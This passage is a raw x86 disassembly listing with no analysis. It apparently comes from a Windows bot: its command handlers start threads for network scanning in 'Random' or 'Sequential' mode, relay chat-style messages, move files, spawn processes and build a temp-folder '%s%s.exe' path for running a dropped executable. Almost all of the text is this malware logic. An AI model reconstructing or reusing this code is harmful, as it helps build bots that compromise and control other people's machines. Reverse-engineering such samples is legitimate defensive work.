		lea	eax, [ebp+var_430]
		push	10h
		push	eax
		call	sub_415A6A
		push	78h
		push	edi
		call	sub_417080
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_2F0], eax
		jmp	loc_40FF46
; ---------------------------------------------------------------------------


loc_40FE72:				; CODE XREF: sub_40CE55+2FEBj
					; sub_40CE55+2FF0j
		cmp	[ebp+var_9B3], bl
		jnz	short loc_40FE94
		cmp	[ebp+var_9B2], bl
		jnz	short loc_40FE94
		cmp	[ebp+var_9A2], bl
		jnz	short loc_40FE94
		push	offset dword_434D94
		jmp	loc_41202C
; ---------------------------------------------------------------------------


loc_40FE94:				; CODE XREF: sub_40CE55+3023j
					; sub_40CE55+302Bj ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_43A33C	; getsockname
		mov	al, [ebp+var_9B3]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2D4], eax
		push	[ebp+var_2D4]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416D40
		add	esp, 0Ch
		cmp	[ebp+var_9A2], bl
		jz	short loc_40FF40
		xor	eax, eax
		cmp	[ebp+var_9B3], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_417040
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40FF34


loc_40FF12:				; CODE XREF: sub_40CE55+30DDj
		cmp	eax, ebx
		jz	short loc_40FF34
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_430]
		push	30h
		push	eax
		call	sub_417040
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40FF12


loc_40FF34:				; CODE XREF: sub_40CE55+30BBj
					; sub_40CE55+30BFj
		mov	[ebp+var_2F0], 1
		jmp	short loc_40FF46
; ---------------------------------------------------------------------------


loc_40FF40:				; CODE XREF: sub_40CE55+3095j
		mov	[ebp+var_2F0], ebx


loc_40FF46:				; CODE XREF: sub_40CE55+3018j
					; sub_40CE55+30E9j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_320], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2F4], eax
		mov	edi, 80h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_415A6A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40FF97


loc_40FF84:				; CODE XREF: sub_40CE55+3165j
		push	esi


loc_40FF85:				; CODE XREF: sub_40CE55+314Fj
		lea	eax, [ebp+var_3A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_40FFC2
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40CE55+312Dj
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40FFA6
		cmp	byte ptr [eax],	23h
		jnz	short loc_40FFA6
		push	eax
		jmp	short loc_40FF85
; ---------------------------------------------------------------------------


loc_40FFA6:				; CODE XREF: sub_40CE55+3147j
					; sub_40CE55+314Cj
		mov	esi, offset dword_42C244
		push	offset byte_438FBC
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF84
		mov	[ebp+var_3A0], bl


loc_40FFC2:				; CODE XREF: sub_40CE55+3140j
		cmp	[ebp+var_2F0], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40FFD4
		mov	eax, offset aSequential	; "Sequential"


loc_40FFD4:				; CODE XREF: sub_40CE55+3178j
		push	[ebp+var_304]
		lea	ecx, [ebp+var_430]
		push	[ebp+var_314]
		push	[ebp+var_318]
		push	[ebp+var_31C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_434D08
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	8
		push	eax
		call	sub_414F93
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_430]
		push	ebx
		push	eax
		push	offset sub_40799F
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_410062


loc_41004C:				; CODE XREF: sub_40CE55+320Bj
		cmp	[ebp+var_2EC], ebx
		jnz	loc_40F7B1
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_41004C
; ---------------------------------------------------------------------------


loc_410062:				; CODE XREF: sub_40CE55+31F5j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434CBC
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------


loc_410073:				; CODE XREF: sub_40CE55+2633j
					; sub_40CE55+264Aj
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		cmp	byte_43F540[eax], bl
		jz	loc_41298E
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		call	sub_415CF0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415CF0
		push	[ebp+arg_18]
		add	esi, eax
		call	sub_415CF0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AC0
		mov	esi, eax
		lea	eax, [ebp+var_2C8]
		push	esi
		push	offset dword_434CB0
		push	eax
		call	sub_4154E7
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_41298E
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F534[eax]
		call	sub_412D4C
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43F328[eax], 73h
		jnz	loc_41298E
		push	esi
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43F540
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_41015B:				; CODE XREF: sub_40CE55+3403j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C


loc_410180:				; CODE XREF: sub_40CE55+529Fj
		add	esp, 28h
		jmp	loc_41298E
; ---------------------------------------------------------------------------


loc_410188:				; CODE XREF: sub_40CE55+2605j
					; sub_40CE55+261Cj
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		cmp	byte_43F540[eax], bl
		jz	loc_41298E
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		call	sub_415CF0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415CF0
		push	[ebp+arg_18]
		add	esi, eax
		call	sub_415CF0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AC0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_41298E
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F534[eax]
		call	sub_412D4C
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43F328[eax], 73h
		jnz	loc_41298E
		push	esi
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43F540
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_41015B
; ---------------------------------------------------------------------------


loc_41025D:				; CODE XREF: sub_40CE55+25D7j
					; sub_40CE55+25EEj
		push	edi
		call	dword_43A3D8	; inet_addr
		push	[ebp+arg_18]
		mov	[ebp+var_460], eax
		call	sub_415A5F
		push	[ebp+arg_0]
		mov	[ebp+var_46C], eax
		call	sub_415A5F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_4EC]
		mov	[ebp+var_4F0], esi
		push	eax
		call	sub_416D40
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_458], edi
		push	[ebp+var_468]
		mov	[ebp+var_454], eax
		push	[ebp+var_46C]
		push	[ebp+var_460]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_434C40
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	8
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_464], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_414569
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_464]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_41033F


loc_410329:				; CODE XREF: sub_40CE55+34E8j
		cmp	[ebp+var_450], ebx
		jnz	loc_411F0D
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_410329
; ---------------------------------------------------------------------------


loc_41033F:				; CODE XREF: sub_40CE55+34D2j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434BF0
		jmp	loc_411EFE
; ---------------------------------------------------------------------------


loc_410350:				; CODE XREF: sub_40CE55+25A9j
					; sub_40CE55+25C0j
		push	edi
		call	sub_415A5F
		push	7Fh
		mov	[ebp+var_300], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416D40
		push	[ebp+arg_0]
		call	sub_415A5F
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_384]
		push	80h
		push	eax
		mov	[ebp+var_40C], esi
		call	sub_415A6A
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		push	[ebp+var_304]
		lea	eax, [ebp+var_404]
		mov	[ebp+var_2F4], edi
		push	eax
		push	[ebp+var_300]
		push	esi
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_434BA0
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	10h
		push	eax
		call	sub_414F93
		add	esp, 24h
		mov	[ebp+var_2FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_407BFE
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_2FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_410439


loc_410423:				; CODE XREF: sub_40CE55+35E2j
		cmp	[ebp+var_2EC], ebx
		jnz	loc_411F0D
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_410423
; ---------------------------------------------------------------------------


loc_410439:				; CODE XREF: sub_40CE55+35CCj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434B4C
		jmp	loc_411EFE
; ---------------------------------------------------------------------------


loc_41044A:				; CODE XREF: sub_40CE55+257Bj
					; sub_40CE55+2592j
		push	0FFh
		lea	eax, [ebp+var_788]
		push	edi
		push	eax
		call	sub_416D40
		push	0FFh
		lea	eax, [ebp+var_688]
		push	[ebp+arg_18]
		push	eax
		call	sub_416D40
		push	[ebp+arg_0]
		mov	[ebp+var_584], ebx
		call	sub_415A5F
		mov	[ebp+var_580], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4104A6
		push	10h
		push	ebx
		push	eax
		call	sub_416A89
		add	esp, 0Ch
		mov	[ebp+var_578], eax
		jmp	short loc_4104AC
; ---------------------------------------------------------------------------


loc_4104A6:				; CODE XREF: sub_40CE55+363Bj
		mov	[ebp+var_578], ebx


loc_4104AC:				; CODE XREF: sub_40CE55+364Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_4104C3
		push	esi
		call	sub_415A5F
		pop	ecx
		mov	[ebp+var_57C], eax
		jmp	short loc_4104C9
; ---------------------------------------------------------------------------


loc_4104C3:				; CODE XREF: sub_40CE55+365Dj
		mov	[ebp+var_57C], ebx


loc_4104C9:				; CODE XREF: sub_40CE55+366Cj
		movzx	eax, [ebp+var_9AF]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_808]
		mov	[ebp+var_80C], esi
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_570], eax
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset unk_434B0C
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_2C8]
		push	15h
		push	eax
		call	sub_414F93
		add	esp, 28h
		mov	[ebp+var_588], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_80C]
		push	ebx
		push	eax
		push	offset sub_40BCEF
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_588]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_410577


loc_410561:				; CODE XREF: sub_40CE55+3720j
		cmp	[ebp+var_568], ebx
		jnz	loc_40FBE8
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_410561
; ---------------------------------------------------------------------------


loc_410577:				; CODE XREF: sub_40CE55+370Aj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434AB8
		jmp	loc_41077A
; ---------------------------------------------------------------------------


loc_410588:				; CODE XREF: sub_40CE55+254Dj
					; sub_40CE55+2564j
		push	7Fh
		lea	eax, [ebp+var_774]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_6F4]
		push	[ebp+arg_18]
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_674]
		push	[ebp+arg_0]
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_5F4]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_8]
		push	[ebp+arg_0]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_778], eax
		lea	eax, [ebp+var_2C8]
		push	edi
		push	offset dword_434A78
		push	eax
		mov	[ebp+var_570], esi
		call	sub_4154E7
		add	esp, 44h
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	0Bh
		push	eax
		call	sub_414F93
		add	esp, 0Ch
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_778]
		push	ebx
		push	eax
		push	offset sub_40182E
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_41065B


loc_410649:				; CODE XREF: sub_40CE55+3804j
		cmp	[ebp+var_568], ebx
		jnz	short loc_410676
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_410649
; ---------------------------------------------------------------------------


loc_41065B:				; CODE XREF: sub_40CE55+37F2j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_434A2C
		push	eax
		call	sub_4154E7
		add	esp, 0Ch


loc_410676:				; CODE XREF: sub_40CE55+37FAj
		cmp	[ebp+var_8], ebx
		jnz	loc_41284E
		push	ebx
		push	esi
		jmp	loc_40F7BE
; ---------------------------------------------------------------------------


loc_410686:				; CODE XREF: sub_40CE55+2508j
					; sub_40CE55+251Fj ...
		push	7Fh
		lea	eax, [ebp+var_7F0]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_770]
		push	[ebp+arg_18]
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_6F0]
		push	[ebp+arg_0]
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_670]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D40
		push	20h
		lea	eax, [ebp+var_5F0]
		push	[ebp+arg_8]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_2C8]
		push	edi
		push	offset unk_4349E8
		push	eax
		mov	[ebp+var_7F8], esi
		call	sub_4154E7
		add	esp, 50h
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	0Ah
		push	eax
		call	sub_414F93
		add	esp, 0Ch
		mov	[ebp+var_7F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_7F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_41076E


loc_410758:				; CODE XREF: sub_40CE55+3917j
		cmp	[ebp+var_568], ebx
		jnz	loc_40FBE8
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_410758
; ---------------------------------------------------------------------------


loc_41076E:				; CODE XREF: sub_40CE55+3901j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43499C


loc_41077A:				; CODE XREF: sub_40CE55+2D75j
					; sub_40CE55+2EC0j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		jmp	loc_40FBE5
; ---------------------------------------------------------------------------


loc_41078B:				; CODE XREF: sub_40CE55+24DAj
					; sub_40CE55+24F1j
		push	7Fh
		lea	eax, [ebp+var_444]
		push	edi
		push	eax
		call	sub_416D40
		push	[ebp+arg_18]
		call	sub_415A5F
		push	3Fh
		mov	[ebp+var_2F4], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C4]
		push	eax
		call	sub_416D40
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4107D9
		push	3Fh
		lea	eax, [ebp+var_384]
		push	esi
		push	eax
		call	sub_416D40
		add	esp, 0Ch


loc_4107D9:				; CODE XREF: sub_40CE55+3970j
		lea	eax, [ebp+var_3C4]
		mov	[ebp+var_2F0], 1
		push	eax
		lea	eax, [ebp+var_444]
		push	[ebp+var_2F4]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_434958
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	17h
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_448]
		push	ebx
		push	eax
		push	offset sub_40CB75
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_2EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_410865


loc_41084F:				; CODE XREF: sub_40CE55+3A0Ej
		cmp	[ebp+var_2E8], ebx
		jnz	loc_40F713
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_41084F
; ---------------------------------------------------------------------------


loc_410865:				; CODE XREF: sub_40CE55+39F8j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43490C
		jmp	loc_40F704
; ---------------------------------------------------------------------------


loc_410876:				; CODE XREF: sub_40CE55+249Aj
					; sub_40CE55+24B1j
		push	[ebp+arg_18]
		call	sub_415A5F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_578], eax
		jle	loc_410967
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_700]
		push	esi
		push	eax
		call	sub_415A6A
		xor	eax, eax
		cmp	[ebp+var_9A2], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_574], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_704], eax
		lea	eax, [ebp+var_600]
		push	esi
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		push	edi
		push	offset unk_4348CC
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	0Dh
		push	eax
		call	sub_414F93
		add	esp, 38h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_704]
		push	ebx
		push	eax
		push	offset sub_401447
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_410956


loc_410940:				; CODE XREF: sub_40CE55+3AFFj
		cmp	[ebp+var_568], ebx
		jnz	loc_40F7B1
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_410940
; ---------------------------------------------------------------------------


loc_410956:				; CODE XREF: sub_40CE55+3AE9j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434880
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------


loc_410967:				; CODE XREF: sub_40CE55+3A32j
		push	offset unk_434834
		jmp	loc_41202C
; ---------------------------------------------------------------------------


loc_410971:				; CODE XREF: sub_40CE55+246Cj
					; sub_40CE55+2483j
		push	[ebp+arg_18]
		push	edi
		call	dword_421134	; MoveFileA
		test	eax, eax
		jz	short loc_41099E
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C8]
		push	edi
		push	offset unk_4347FC
		push	200h
		push	eax
		call	sub_415A6A
		jmp	loc_4111C1
; ---------------------------------------------------------------------------


loc_41099E:				; CODE XREF: sub_40CE55+3B28j
		push	offset dword_4347DC
		call	sub_409C08
		push	eax
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		jmp	loc_40F7B1
; ---------------------------------------------------------------------------


loc_4109C2:				; CODE XREF: sub_40CE55+243Ej
					; sub_40CE55+2455j
		push	edi
		lea	eax, [ebp+var_77C]
		push	104h
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4109FC
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4109FC
		push	eax
		lea	eax, [ebp+var_678]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx


loc_4109FC:				; CODE XREF: sub_40CE55+3B85j
					; sub_40CE55+3B96j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_7FC]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_800], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_678]
		push	eax
		lea	eax, [ebp+var_77C]
		push	eax
		push	offset unk_434798
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Bh
		push	eax
		call	sub_414F93
		add	esp, 2Ch
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_800]
		push	ebx
		push	eax
		push	offset sub_408788
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_410AAF


loc_410A99:				; CODE XREF: sub_40CE55+3C58j
		cmp	[ebp+var_568], ebx
		jnz	loc_41284E
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_410A99
; ---------------------------------------------------------------------------


loc_410AAF:				; CODE XREF: sub_40CE55+3C42j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434748
		jmp	loc_41283F
; ---------------------------------------------------------------------------


loc_410AC0:				; CODE XREF: sub_40CE55+2410j
					; sub_40CE55+2427j
		push	44h
		lea	eax, [ebp+var_48C]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415570
		push	1
		mov	[ebp+var_48C], esi
		pop	esi
		mov	word ptr [ebp+var_45C],	bx
		push	edi
		mov	[ebp+var_460], esi
		call	sub_415A5F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_410AFD
		mov	word ptr [ebp+var_45C],	5


loc_410AFD:				; CODE XREF: sub_40CE55+3C9Dj
		cmp	[ebp+var_C], ebx
		jz	loc_40F713
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40F713
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_48C]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_4210EC	; CreateProcessA
		test	eax, eax
		jnz	short loc_410B56
		push	offset unk_434710


loc_410B43:				; CODE XREF: sub_40CE55+3E85j
					; sub_40CE55+4518j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_40F713
; ---------------------------------------------------------------------------


loc_410B56:				; CODE XREF: sub_40CE55+3CE7j
		push	edi
		push	offset dword_4346E4
		jmp	loc_40F704
; ---------------------------------------------------------------------------


loc_410B61:				; CODE XREF: sub_40CE55+23E2j
					; sub_40CE55+23F9j
		push	[ebp+arg_18]
		push	offset aIdspp	; "idspp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CD5
		lea	eax, [ebp+var_3E8]
		push	eax
		push	104h
		call	dword_4210F8	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_788]
		push	edi
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_414126
		push	eax
		lea	eax, [ebp+var_3E8]
		push	eax
		lea	eax, [ebp+var_688]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4154E7
		mov	eax, [ebp+esi+var_88]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_584], 1
		mov	[ebp+var_580], ebx
		jz	short loc_410BF3
		push	10h
		push	ebx
		push	eax
		call	sub_416A89
		add	esp, 0Ch
		mov	[ebp+var_578], eax
		jmp	short loc_410BF9
; ---------------------------------------------------------------------------


loc_410BF3:				; CODE XREF: sub_40CE55+3D88j
		mov	[ebp+var_578], ebx


loc_410BF9:				; CODE XREF: sub_40CE55+3D9Cj
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_410C13
		push	esi
		call	sub_415A5F
		pop	ecx
		mov	[ebp+var_57C], eax
		jmp	short loc_410C19
; ---------------------------------------------------------------------------


loc_410C13:				; CODE XREF: sub_40CE55+3DADj
		mov	[ebp+var_57C], ebx


loc_410C19:				; CODE XREF: sub_40CE55+3DBCj
		movzx	eax, [ebp+var_9AF]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_808]
		mov	[ebp+var_80C], esi
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_570], eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_434698
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_2C8]
		push	16h
		push	eax
		call	sub_414F93
		add	esp, 24h
		mov	[ebp+var_588], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_80C]
		push	ebx
		push	eax
		push	offset sub_40BCEF
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_588]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_410CC4


loc_410CAE:				; CODE XREF: sub_40CE55+3E6Dj
		cmp	[ebp+var_568], ebx
		jnz	loc_40F713
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_410CAE
; ---------------------------------------------------------------------------


